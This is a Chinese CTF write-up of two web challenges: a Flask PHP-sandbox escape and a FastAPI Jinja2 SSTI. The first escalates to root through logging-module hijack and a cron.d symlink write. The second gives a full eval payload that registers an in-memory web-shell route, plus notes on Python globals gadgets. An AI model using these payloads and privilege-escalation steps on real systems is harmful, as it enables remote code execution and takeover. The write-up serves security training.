php_online

from flask import Flask, request, session, redirect, url_for, render_template
import os
import secrets


app = Flask(__name__)
app.secret_key = secrets.token_hex(16)
working_id = []


@app.route('/', methods=['GET', 'POST'])
def index():
    if request.method == 'POST':
        id = request.form['id']
        if not id.isalnum() or len(id) != 8:
            return '无效的ID'
        session['id'] = id
        if not os.path.exists(f'/sandbox/{id}'):
            os.popen(f'mkdir /sandbox/{id} && chown www-data /sandbox/{id} && chmod a+w /sandbox/{id}').read()
        return redirect(url_for('sandbox'))
    return 'submit_id.html'


@app.route('/sandbox', methods=['GET', 'POST'])
def sandbox():
    if request.method == 'GET':
        if 'id' not in session:
            return redirect(url_for('index'))
        else:
            return 'submit_code.html'
    if request.method == 'POST':
        if 'id' not in session:
            return 'no id'
        user_id = session['id']
        if user_id in working_id:
            return 'task is still running'
        else:
            working_id.append(user_id)
            code = request.form.get('code')
            os.popen(f'cd /sandbox/{user_id} && rm *').read()
            os.popen(f'sudo -u www-data cp /app/init.py /sandbox/{user_id}/init.py && cd /sandbox/{user_id} && sudo -u www-data python3 init.py').read()
            os.popen(f'rm -rf /sandbox/{user_id}/phpcode').read()
            
            php_file = open(f'/sandbox/{user_id}/phpcode', 'w')
            php_file.write(code)
            php_file.close()

            result = os.popen(f'cd /sandbox/{user_id} && sudo -u nobody php phpcode').read()
            os.popen(f'cd /sandbox/{user_id} && rm *').read()
            working_id.remove(user_id)

            return result


if __name__ == '__main__':
    app.run(debug=False, host='0.0.0.0', port=80)

直接执行了以nobody的身份执行了php代码,那我们直接用php弹shell
2024-08-17T12:51:43.png
成功弹shell,web里写了sudo -u www-data python3 init.py,而init.py会导入logging,我们可以覆盖logging来得到www-data的shell,这里有两种方式:写一个logging.py、 建一个logging文件夹有一个__init__.py,这里因为web用rm * 删除了我们的文件,所以我们建文件夹
2024-08-17T13:00:45.png
得到www-data,但是要提权为root才能读flag
2024-08-17T13:10:58.png
这里尝试了suid和sudo都不行,可以看到root跑了一个定时任务,尝试定时任务提权
2024-08-17T13:11:46.png
因为cron会检查/etc/crontab文件和/etc/cron.*/ /var/spool/cron/这两个文件夹下的文件,所以我们在建一个/sandbox建一个软链接指向/etc/cron.d web写phpcode就会写到这个文件夹下,但是执行完就删除了,所以我们要让它尽量在定时任务执行之后再删除,通过php的sleep函数就可以了

1 * * * * root chmod 777 /flag
#<?php sleep(233);

对cron来说#是注释,但不影响php执行后面的语句
另外我本地测试的时候发现定时任务语句的最后一定要换行,不然就不执行,chatgpt给的解释是cron以换行作为每一行任务的分割和结束,没有换行就无法正常解析导致不执行
写入之后还要/etc/init.d/cron reload来让更改立即生效,不然就不知道什么时候会应用我们写进去的phpcode了。
2024-08-18T13:11:35.png
最后成功修改

GoldenHornKing

import os

import jinja2
import functools
import uvicorn
from fastapi import FastAPI
from fastapi.templating import Jinja2Templates
from anyio import fail_after, sleep


# jinja2==3.1.2
# uvicorn==0.30.5
# fastapi==0.112.0

def timeout_after(timeout: int = 1):
    def decorator(func):
        @functools.wraps(func)
        async def wrapper(*args, **kwargs):
            with fail_after(timeout):
                return await func(*args, **kwargs)
        
        return wrapper
    
    return decorator


app = FastAPI()
access = False

_base_path = os.path.dirname(os.path.abspath(__file__))
t = Jinja2Templates(directory=_base_path)


@app.get("/")
@timeout_after(1)
async def index():
    return open(__file__, 'r').read()


@app.get("/calc")
@timeout_after(1)
async def ssti(calc_req: str):
    global access
    if (any(char.isdigit() for char in calc_req)) or ("%" in calc_req) or not calc_req.isascii() or access:
        return "bad char"
    else:
        jinja2.Environment(loader=jinja2.BaseLoader()).from_string(f"{{{{ {calc_req} }}}}").render({"app": app})
        access = True
    return "fight"


if __name__ == "__main__":
    uvicorn.run(app, host="0.0.0.0", port=8000)

一个fastapi的ssti,通过500的报错确定自己的payload有rce,测试之后发现不出网,所以尝试内存马,第一次接触,参考flask内存马的写法,直接给payload

lipsum.__globals__['__builtins__']['eval']("app.add_api_route('/shell',lambda:result ,methods=['GET'])",{'app':app,'result':lipsum.__globals__.get("os").popen("cat /flag").read()})

这里我先通过lipsum.__globals__'__builtins__'获取到eval就可以执行任意代码了。
app.add_api_route('/shell',lambda:result ,methods=['GET'])则是注册api路由,最开始用的是add_route结果一直报错匿名函数返回的字符串类型不可以callback,但是api就可以
{'app':app,'result':lipsum.__globals__.get("os").popen("cat /flag").read()则是让eval里的代码能够找到对应的变量是什么,app是题目在render的时候就自己帮我们引进的变量,但os并没有,所以我们要一个ssti自己获取
为什么要用eval?为什么不直接app.add_api_route('/shell',lambda:result ,methods=['GET'])呢?最开始在这个地方浪费了很多时间,因为render的语法和python的语法是不一样的,render是不能解析匿名函数的:,而python是可以的。所以才要用eval来执行
2024-08-18T13:38:28.png
如果题目没有给app也可以__import__('sys').modules['__main__'].__dict__['app']自己导入
2024-08-18T14:22:24.png
最后访问/shell得到flag
实际上把匿名函数改成lambda cmd:__import('os').popen(cmd).read()就是真正的内存马了,因为这个cmd并不是匿名函数的名称,而是这个函数的参数,我们可以/shell?cmd=whoami这样传递进去,顺带一提两个参数是这种写法 lambda x, y: x + y

python原型链污染

顺便聊一下为什么经常有"".__class__.__init__.__globals__这种payload来获取os,
其实"".__class__.__init__主要是为了获取到一个function,也就是str类的__init__方法
2024-08-18T13:52:19.png
像这道题,我们有index函数,如果给我们用的话,直接index.__globals__就可以获取os了。
所以一下原型链污染的python题经常写一些恶意类和初始方法,具体可以看ciscn2024的Polluteddasctf的Sanic's revenge